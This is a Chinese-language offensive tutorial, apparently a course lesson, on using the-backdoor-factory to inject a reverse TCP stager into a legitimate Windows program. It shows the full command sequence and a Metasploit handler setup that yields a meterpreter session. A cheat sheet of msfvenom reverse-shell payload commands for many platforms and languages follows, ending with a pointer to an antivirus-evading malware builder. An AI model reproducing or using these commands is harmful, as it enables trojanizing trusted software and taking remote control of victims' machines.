专注 APT 攻击与防御—工具介绍-the-backdoor-factory

工具介绍 the-backdoor-factory

项目地址：
GitHub - secretsquirrel/the-backdoor-factory: Patch PE, ELF, Mach-O binaries with shellcode new version in development, available only to sponsors

原理

可执行二进制文件中有大量的 00，这些 00 是不包含数据的，将这些数据替换成 payload，并且在程序执行的时候，jmp 到代码段，来触发 payload。

以项目中的过磅系统为例：

root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
//安装the-backdoor-factory

第九课：工具介绍-the-backdoor-factory - 图1

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S
//检测是否支持后门植入

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150
//测试裂缝空间size150

第九课：工具介绍-the-backdoor-factory - 图3

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show
//查看可用payload

第九课：工具介绍-the-backdoor-factory - 图4

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded
//插入payload，并生成文件。

第九课：工具介绍-the-backdoor-factory - 图5

root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe
//对比原文件与生成文件MD5值

第九课：工具介绍-the-backdoor-factory - 图6

root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe
//对比文件大小

第九课：工具介绍-the-backdoor-factory - 图7

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j
//开启本地监听

第九课：工具介绍-the-backdoor-factory - 图8

//打开软件

第九课：工具介绍-the-backdoor-factory - 图9

meterpreter > getuid
Server username: John-PC\John

//确定目标

msfvenom 常用生成 Payload 命令

windows:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

mac:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho

android:

//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell:

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

linux:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

php:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

aspx:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

jsp:

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp

war:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war

nodejs:

msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js

python:

msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py

perl:

msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.pl

ruby:

msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb

lua:

msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua

windows shellcode:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

mac shellcode:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

便捷化payload生成：

项目地址：
GitHub - screetsec/TheFatRat: Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack and etc . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .